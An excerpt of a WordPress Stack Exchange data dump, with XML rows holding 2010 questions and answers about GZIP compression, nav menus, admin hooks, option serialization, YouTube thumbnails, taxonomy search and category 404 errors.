  <row Id="5841" PostTypeId="2" ParentId="1567" CreationDate="2010-12-23T12:13:26.753" Score="5" ViewCount="" Body="&lt;h2&gt;Enable GZIP output compression&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Normally the server should be set up to do this automatically, but a lot of shared hosts don&#xA;t do this (probably to increase client bandwidth usage)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if(extension_loaded(&quot;zlib&quot;) &amp;amp;&amp;amp; (ini_get(&quot;output_handler&quot;) != &quot;ob_gzhandler&quot;))&#xA;   add_action('wp', create_function('', '@ob_end_clean();@ini_set(&quot;zlib.output_compression&quot;, 1);'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-23T12:13:26.753" CommunityOwnedDate="2010-12-23T12:13:26.753" />
  <row Id="5842" PostTypeId="2" ParentId="4568" CreationDate="2010-12-23T12:13:48.143" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Jonathan Sampson:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this is not exactly what you asked for it might actually be a viable solution and it comes for free from WordPress.com thanks to &lt;a href=&quot;http://twitter.com/yoast&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;@yoast&lt;/strong&gt;&lt;/a&gt;'s tweet this morning when he referenced this blog post:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.binarymoon.co.uk/2010/02/automated-take-screenshots-website-free/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;An Automated Way to Take Screenshots of any Website – Free&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically you can use WordPress.com' screenshot generator URL in this form &lt;em&gt;(which according to the blog post &lt;a href=&quot;http://ma.tt&quot; rel=&quot;nofollow&quot;&gt;Matt&lt;/a&gt; seemed to bless free usage):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;http://s.wordpress.com/mshots/v1/{URL-encoded URL}?w={width}&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So taking your URL from above:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=2Jnpi-uBiIg&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=2Jnpi-uBiIg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And then URL encoding so you could use with the screenshot generator you get a URL that looks like this &lt;em&gt;(for a width of 400px):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://s.wordpress.com/mshots/v1/http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D2Jnpi-uBiIg?w=400&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And of course what follows is what the screenshot looks like &lt;em&gt;(I copied the screenshot for posterity so it won't change even if the WordPress service is modified rather than include a direct link to the service to display the image.)&lt;/em&gt; Not sure why it snapped the video and not the entire page, but the video is even better for what you want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20101223-070459.jpg&quot; alt=&quot;Screenshot of a Youtube Video as snapped by WordPress Screenshot Service&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the first time you HTTP GET request the URL it will not return a screenshot because WordPress.com's servers need to first capture the screenshot, which takes too much time to let your HTTP GET request wait. So on first request your HTTP GET will just be redirected to this URL:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;http://s.wordpress.com/wp-content/plugins/mshots/default.gif&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And that URL displays this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://s.wordpress.com/wp-content/plugins/mshots/default.gif&quot; alt=&quot;Generating Preview Image from WordPress.com&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you wait a minute after your first HTTP GET request and issue the request again you'll find your screenshot.  My thoughts are that what you'll want to do is to call it to cache it, wait to download it, and then cache it locally on your own server to minimize the amount of load on WordPress.com's servers so they won't rethink offering this for free &lt;em&gt;(or heck, if there's enough traffic they could even offer it as a paid service and maybe add paid API features too!)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; By the way, to prove that it actually works within a web page here is the screenshot as requested directly from WordPress.com. Note that it may be different from the screenshot I saved and linked above, or it it's been a while since someone viewed this page and thus their cache has clear it might even be the &lt;em&gt;&quot;Generating Preview&quot;&lt;/em&gt; image. If so, wait a minute and then refresh this page and it should return:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://s.wordpress.com/mshots/v1/http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D2Jnpi-uBiIg?w=400&quot; alt=&quot;Screenshot of a Youtube Video directly from WordPress.com Screenshot service&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-23T12:13:48.143" CommentCount="1" />
  <row Id="5843" PostTypeId="2" ParentId="5831" CreationDate="2010-12-23T12:20:05.353" Score="2" ViewCount="" Body="&lt;p&gt;I figured out how:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    // Theme Options&#xA;    require_once(TEMPLATEPATH . '/functions/admin-menu.php');&#xA;&#xA;    add_action( 'wp_head', 'theme_options');&#xA;&#xA;    function theme_options() {&#xA;        // Initiate Theme Options&#xA;        $options = get_option('plugin_options');&#xA;&#xA;        // If logo image was uploaded then remove text from site title&#xA;        if ($options['logo'] != NULL)&#xA;          $remove_text = '-9999px';&#xA;        else&#xA;          $remove_text = 0;&#xA;&#xA;        ?&amp;gt;&amp;lt;style&amp;gt;&#xA;        body {&#xA;            background-color: &amp;lt;?php echo $options['color_scheme']; ?&amp;gt;&#xA;        }&#xA;&#xA;        #header h1 a {&#xA;            background: url(&amp;lt;?php echo $options['logo']; ?&amp;gt;) no-repeat scroll 0 0;&#xA;            text-indent: &amp;lt;?php echo $remove_text; ?&amp;gt;;&#xA;        }&#xA;        &amp;lt;/style&amp;gt;&amp;lt;?php&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The code works but please let me know if there's a cleaner or easier way of doing this)&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2010-12-23T12:20:05.353" CommentCount="3" />
  <row Id="5844" PostTypeId="2" ParentId="5828" CreationDate="2010-12-23T12:33:19.007" Score="2" ViewCount="" Body="&lt;p&gt;Please see if &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-upload-dir/&quot; rel=&quot;nofollow&quot;&gt;Custom Upload Dir (Wordpress Plugin)&lt;/a&gt; does the job for you. With that plugin you can configure the upload path based on numerous settings.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-23T12:33:19.007" />
  <row Id="5845" PostTypeId="1" AcceptedAnswerId="5848" CreationDate="2010-12-23T12:39:52.513" Score="1" ViewCount="244" Body="&lt;p&gt;I have a WordPress multisite installation.&#xA;I need to create a sitewide tagcloud on the main blog.&#xA;How can I do that ?&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-12-23T13:12:50.947" Title="How can I create a multisite global tag cloud?" Tags="&lt;multisite&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="5846" PostTypeId="1" AcceptedAnswerId="5888" CreationDate="2010-12-23T12:55:53.150" Score="2" ViewCount="246" Body="&lt;p&gt;In my site i have a navbar which is created by using the new feature of wordpress 3 - &quot;the menus &quot;.In my site this navbar conatins both categories and pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I'm in a single post / sub-page , the navbar doesn't give the parent category /page  the class of &quot;current-menu-item&quot; and therefore that  item in the navbar  is not highlighted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2009/how-to-get-current-cat-in-navbar-in-single-post/2010#2010&quot;&gt;this&lt;/a&gt;  but it really doesn't help me because the menu is not built on &lt;/p&gt;&#xA;&#xA;&lt;p&gt;category_ID  like a regualr  navbar created by wp_categories_list(), but on item_ID , which I don't understand how is generated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know either how the  item_ID is generated, and/or how to highlight the right item in the navbar &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a printscreen of my navbar's HTML&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/0JR8v.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here is a printscreen of navbar created by wp_categories_list()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/APpuN.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!!&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2010-12-24T09:59:00.780" Title="How to highlight the right item in the navbar" Tags="&lt;custom-menus&gt;&lt;menus&gt;&lt;navigation&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="5847" PostTypeId="2" ParentId="5837" CreationDate="2010-12-23T12:57:23.863" Score="2" ViewCount="" Body="&lt;p&gt;There are hooks and variables set that will allow you determine post type pretty easily, so you can hook onto actions specific to a given type, i'm going to provide some examples below.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Examples&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If wanted to add a metabox to the post creation screen for the &lt;code&gt;book&lt;/code&gt; post type, then i'd probably use a hook along the lines of..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'add_meta_boxes_book', 'my_callback_defining_metaboxes' );&#xA;function my_callback_defining_metaboxes() {&#xA;    add_meta_box( ... );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can replace &lt;code&gt;book&lt;/code&gt; with an appropriate post type, eg. post, page, or a custom one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i wanted to enqueue scripts onto the edit or add new posts screen for the book post type, i might use..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_scripts-edit.php', 'my_func_to_enqueue_scripts' );&#xA;add_action( 'admin_print_scripts-post-new.php', 'my_func_to_enqueue_scripts' );&#xA;function my_func_to_enqueue_scripts() {&#xA;    global $typenow;&#xA;    if( 'book' == $typenow )&#xA;        wp_enqueue_script( ... );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i wanted to go a step further and hook onto every page that deals with the book post type i'll use a more generic hook and perform conditional logic on one of the admin variables..(as long as you don't hook in really early you can reference these vars reliably).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_scripts', 'enqueue_scripts_on_specific_posttype_pages' );&#xA;function enqueue_scripts_on_specific_posttype_pages() {&#xA;    global $parent_file;&#xA;    if( 'edit.php?post_type=book' == $parent_file )&#xA;        wp_enqueue_script( ... );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$parent_file&lt;/code&gt; is always the link or URL of the parent menu item for the given post type, which you'll notice is different to the generic &lt;code&gt;$hook_suffix&lt;/code&gt; that's appended to the &lt;code&gt;admin_print_scripts-&lt;/code&gt; hook, eg. &lt;code&gt;admin_print_scripts-edit.php&lt;/code&gt; .. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above example would hook the enqueue onto any page for the &lt;code&gt;book&lt;/code&gt; post type, that includes the taxonomy management screens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope the above is helpful.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-23T12:57:23.863" />
  <row Id="5848" PostTypeId="2" ParentId="5845" CreationDate="2010-12-23T13:12:50.947" Score="3" ViewCount="" Body="&lt;p&gt;Use this plugin&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&lt;/a&gt;&#xA;and this tutorial&#xA;&lt;a href=&quot;http://wpmututorials.com/how-to/make-a-tags-page-like-wordpress-dot-com/&quot; rel=&quot;nofollow&quot;&gt;http://wpmututorials.com/how-to/make-a-tags-page-like-wordpress-dot-com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says wpmu, but it is exactly the same.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-12-23T13:12:50.947" CommentCount="3" />
  <row Id="5849" PostTypeId="2" ParentId="5836" CreationDate="2010-12-23T13:56:24.380" Score="3" ViewCount="" Body="&lt;p&gt;It totally depends on what data is being stored in the option, &lt;code&gt;maybe_serialize&lt;/code&gt; will determine in the option is holding a singular static value, such as &lt;code&gt;true/false&lt;/code&gt;, &lt;code&gt;0/1&lt;/code&gt;, &lt;code&gt;empty string&lt;/code&gt;, whatever(it's called when an option is created or updated).. it will serialize when dealing with objects and arrays, singular values are not serialized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;get_option&lt;/code&gt; function is equipped to deal with this however and will unserialize(or not) as necessary for you(using &lt;code&gt;maybe_unserialize&lt;/code&gt;) when it's called, which basically does the inverse of &lt;code&gt;maybe_serialize&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &lt;em&gt;Confirmed - checked source, above information is correct regarding serialization.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-23T13:56:24.380" />
  <row Id="5851" PostTypeId="2" ParentId="3775" CreationDate="2010-12-23T15:05:26.843" Score="1" ViewCount="" Body="&lt;p&gt;you are referring to the fallback function of the nav_menus. This is &quot;wp_page_menu&quot; and unfortunatelly it doesn't produce the same type of markup that a custom menu does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this create your own fallback menu. I'm using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_page_menu($args){&#xA;  $menu = '';&#xA;  $args['echo'] = false;&#xA;  $args['title_li'] = '';&#xA;&#xA;  // If the front page is a page, add it to the exclude list&#xA;  if (get_option('show_on_front') == 'page') $args['exclude'] = get_option('page_on_front');&#xA;&#xA;  $menu .= str_replace(array(&quot;\r&quot;, &quot;\n&quot;, &quot;\t&quot;), '', wp_list_pages($args));&#xA;&#xA;  if($menu):&#xA;    if($args['container']) $menu = '&amp;lt;'.$args['container'].' class=&quot;'.$args['container_class'].'&quot;&amp;gt;'.$menu;&#xA;    $menu .= '&amp;lt;ul class=&quot;'.$args['menu_class'].'&quot;&amp;gt;'.$menu;&#xA;&#xA;    // add 'home' menu item&#xA;    $menu .= '&amp;lt;li class=&quot;home '.((is_front_page() &amp;amp;&amp;amp; !is_paged()) ? 'current-menu-item' : null).'&quot;&amp;gt;&amp;lt;a href=&quot;'.home_url('/').'&quot; title=&quot;'.__(&quot;Home Page&quot;).'&quot;&amp;gt;'.$args['link_before'].__(&quot;Home&quot;).$args['link_after'].'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&#xA;    $menu .= '&amp;lt;/ul&amp;gt;';&#xA;    if($args['container']) $menu .= '&amp;lt;/'.$args['container'].'&amp;gt;\n&quot;';&#xA;    $menu = apply_filters('wp_page_menu', $menu, $args);&#xA;  endif;&#xA;&#xA;  echo $menu;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might need to change this as my theme handles menus its own way, but I think you get the basic idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when you're calling &lt;code&gt;wp_nav_menu&lt;/code&gt; do it like &lt;code&gt;wp_nav_menu(array('fallback_cb' =&amp;gt; 'my_page_menu'));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also match the classes to the ones of a custom menu using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('page_css_class', 'atom_page_css_classes', 420, 2);&#xA;function atom_page_css_classes($classes, $page){&#xA;  // overwrite and use page (safe) name instead of ID; nobody styles IDs...&#xA;  $new_classes = array('page-'.$page-&amp;gt;post_name);&#xA;&#xA;  // adjust active menu classes to match the ones added by wp_nav_menu()&#xA;  foreach($classes as $class)&#xA;    if($class == 'current_page_item') $new_classes[] = 'current-menu-item';&#xA;    elseif($class == 'current_page_parent') $new_classes[] = 'current-menu-parent';&#xA;    elseif($class == 'current_page_ancestor') $new_classes[] = 'current-menu-ancestor';&#xA;&#xA;  return $new_classes;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you cut down a few CSS rules...&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2010-12-23T15:22:30.110" LastActivityDate="2010-12-23T15:22:30.110" />
  <row Id="5852" PostTypeId="1" AcceptedAnswerId="5853" CreationDate="2010-12-23T15:14:45.717" Score="0" ViewCount="168" Body="&lt;p&gt;My theme has a &quot;function_exists&quot; wrapper around the is_multisite() call as seen below...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(function_exists(is_multisite()))&#xA;{&#xA;    //do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'm still getting this error on theme install...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined function is_multisite()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-12-23T15:26:53.540" Title="Fatal error: Call to undefined function is_multisite()" Tags="&lt;errors&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="5853" PostTypeId="2" ParentId="5852" CreationDate="2010-12-23T15:26:53.540" Score="2" ViewCount="" Body="&lt;p&gt;the quotes: &lt;code&gt;if(function_exists('is_multisite'))&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-23T15:26:53.540" CommentCount="1" />
  <row Id="5854" PostTypeId="1" CreationDate="2010-12-23T16:01:05.503" Score="1" ViewCount="501" Body="&lt;p&gt;After reading through this fantastic tutorial by Mike Schinkel: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/578/adding-a-taxonomy-filter-to-admin-list-for-a-custom-post-type&quot;&gt;Adding a Taxonomy Filter to Admin List for a Custom Post Type?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have discovered a few issues that I need to work out. Search does not seem to work properly with custom taxonomy filters applied. Also, if I output more than one custom taxonomy filter dropdown, what's the best way to prevent a user from specifying values for more than one of the dropdowns? I'm thinking I should just add a JavaScript function, but it might have to be a dynamically generated JavaScript function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really want to tackle the search issue first, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Thanks for your help,&#xA;Dave Morris&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2010-12-23T17:46:50.770" Title="Add multiple taxonomy filters to edit.php that support search" Tags="&lt;custom-taxonomy&gt;&lt;search&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="5855" PostTypeId="2" ParentId="5755" CreationDate="2010-12-23T16:01:40.267" Score="2" ViewCount="" Body="&lt;p&gt;That sliding navigation is a feature built-in to the theme used by the Thinking for a Living website.  If you view the source code, you can see that each panel in the slider is defined by similar code starting with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;covers&quot; scope=&quot;Covers&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;cover-index grid4 column page&quot;&amp;gt; &#xA;        &amp;lt;div class=&quot;cover grid3 cover-quote&quot;&amp;gt; &#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A quick look further through the code finds the page defining a couple of specific JavaScript files for the site (custom-built for the site means it's &lt;em&gt;not&lt;/em&gt; a publicly available plug-in):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- ORG.TFAL.JS --&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.thinkingforaliving.org/wp-content/themes/TFAL/lib/js/org.tfal.plugins.js?0.1.0.9&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.thinkingforaliving.org/wp-content/themes/TFAL/lib/js/org.tfal.js?0.1.0.7&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Digging deeper shows that the site is selecting the items inside &lt;code&gt;scope=&quot;Covers&quot;&lt;/code&gt; and loading them for use elsewhere:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* ---------------------------------- */       &#xA;/* COVERS */    &#xA;$('div[scope=Covers]').TFALCovers();               &#xA;$('.cover-quote').TFALCoverQuote();       &#xA;/* ---------------------------------- */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other JavaScript file defines both &lt;code&gt;TFALCovers()&lt;/code&gt; and &lt;code&gt;TFALCoverQuote()&lt;/code&gt; as jQuery extensions that control the look, layout, and behavior of the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question, the navigation of this page was built with some cleverly-constructed, custom jQuery extensions.  You can poke around in the code yourself and try to simulate the behavior on your own site, or you can use one of any freely available jQuery slideshow/sliding navigation plug-ins:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bradblogging.com/jquery/9-jquery-slideshow-applications-you-cannot-miss/&quot; rel=&quot;nofollow&quot;&gt;jQuery Slideshow Scripts&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ndoherty.biz/tag/coda-slider/&quot; rel=&quot;nofollow&quot;&gt;jQuery Coda Slider&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-23T16:01:40.267" CommentCount="1" />
  <row Id="5856" PostTypeId="2" ParentId="4568" CreationDate="2010-12-23T17:04:53.527" Score="1" ViewCount="" Body="&lt;p&gt;Function to display the image based on the URL? Is this the kind of thing you had in mind?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_youtube_screen( $url = '', $type = 'default', $echo = true ) {&#xA;    if( empty( $url ) )&#xA;        return false;&#xA;&#xA;    if( !isset( $type ) )&#xA;        $type = '';&#xA;&#xA;    $url = esc_url( $url );&#xA;&#xA;    preg_match(&quot;|[\\?&amp;amp;]v=([^&amp;amp;#]*)|&quot;,$url,$vid_id);&#xA;&#xA;    if( !isset( $vid_id[1] ) )&#xA;        return false;&#xA;&#xA;    $img_server_num =  'i'. rand(1,4);&#xA;&#xA;    switch( $type ) {&#xA;        case 'large':&#xA;            $img = &quot;&amp;lt;img src=\&quot;http://{$img_server_num}.ytimg.com/vi/{$vid_id[1]}/0.jpg\&quot; /&amp;gt;&quot;;&#xA;            break;&#xA;        case 'first':&#xA;            // Thumbnail of the first frame&#xA;            $img = &quot;&amp;lt;img src=\&quot;http://{$img_server_num}.ytimg.com/vi/{$vid_id[1]}/1.jpg\&quot; /&amp;gt;&quot;;&#xA;            break;&#xA;        case 'small':&#xA;            // Thumbnail of a later frame(i'm not sure how they determine this)&#xA;            $img = &quot;&amp;lt;img src=\&quot;http://{$img_server_num}.ytimg.com/vi/{$vid_id[1]}/2.jpg\&quot; /&amp;gt;&quot;;&#xA;            break;&#xA;        case 'default':&#xA;        case '':&#xA;        default:&#xA;            $img = &quot;&amp;lt;img src=\&quot;http://{$img_server_num}.ytimg.com/vi/{$vid_id[1]}/default.jpg\&quot; /&amp;gt;&quot;;&#xA;            break;&#xA;    }&#xA;    if( $echo )&#xA;        echo $img;&#xA;    else&#xA;        return $img;&#xA;&#xA;}&#xA;// Example calls&#xA;&#xA;get_youtube_screen( &quot;http://www.youtube.com/watch?v=dZfmPREbTd8&quot;, 'default' );&#xA;&#xA;get_youtube_screen( &quot;http://www.youtube.com/watch?v=dZfmPREbTd8&quot;, 'large' );&#xA;&#xA;get_youtube_screen( &quot;http://www.youtube.com/watch?v=dZfmPREbTd8&quot;, 'small' );&#xA;&#xA;get_youtube_screen( &quot;http://www.youtube.com/watch?v=dZfmPREbTd8&quot;, 'first' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;YouTube seems to serve up images for a few servers for the thumbnails..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iN.ytimg.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where N is usually a numeric value from 1-4(5 sometimes, but wasn't consistent in testing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also use &lt;code&gt;img.youtube.com&lt;/code&gt; but i liked the idea of fetching from alternating servers, so i've coded the function to randomly choose from 1 of 4 servers to display the image from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; There's not always an image for each of the sizes for every video, some will just come up blank, however the default image seems to consistently work in the video URLs i tested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-12-23T17:04:53.527" CommentCount="2" />
  <row Id="5857" PostTypeId="2" ParentId="5854" CreationDate="2010-12-23T17:46:50.770" Score="1" ViewCount="" Body="&lt;p&gt;Figured this out by using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function override_is_tax_on_post_search($query) {&#xA;        global $pagenow;&#xA;        $qv = &amp;amp;$query-&amp;gt;query_vars;&#xA;        if ($pagenow == 'edit.php' &amp;amp;&amp;amp; isset($qv['taxonomy']) &amp;amp;&amp;amp; isset($qv['s'])) {&#xA;            $query-&amp;gt;is_tax = true;&#xA;        }&#xA;    }&#xA;}&#xA;add_filter('parse_query','override_is_tax_on_post_search');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2010-12-23T17:46:50.770" CommentCount="1" />
  <row Id="5858" PostTypeId="1" CreationDate="2010-12-23T19:53:13.977" Score="0" ViewCount="371" Body="&lt;p&gt;My Wordpress blog suddenly seems to have started giving me 404 errors when accessing category pages. For example, &lt;a href=&quot;http://blog.rtwilson.com/category/tok-related/&quot; rel=&quot;nofollow&quot;&gt;http://blog.rtwilson.com/category/tok-related/&lt;/a&gt;. Interestingly, this doesn't happen for child categories (such as GIS and Remote Sensing, shown in the sidebar on the above link) but does happen for parent categories (eg. Academic) and categories with no children (like TOK-related).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas why this might have happened? I recently changed the permalink structure for my blog posts themselves, but not for the categories. Do I need to rebuild the category list somehow? If so, how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;.htaccess file content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2145" LastEditorUserId="2145" LastEditorDisplayName="" LastEditDate="2010-12-23T20:39:29.820" LastActivityDate="2011-06-23T20:57:30.400" Title="Category links suddenly started giving 404 errors" Tags="&lt;categories&gt;&lt;permalinks&gt;&lt;links&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="5859" PostTypeId="2" ParentId="5858" CreationDate="2010-12-23T20:04:33.070" Score="0" ViewCount="" Body="&lt;p&gt;First thing to try is resave your permalinks. And be sure your changes are saved to .htaccess. If WP warns you that .htaccess isn't writable, manually edit .htaccess. See &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;Using Permalinks « WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2010-12-23T20:11:42.487" LastActivityDate="2010-12-23T20:11:42.487" CommentCount="4" />
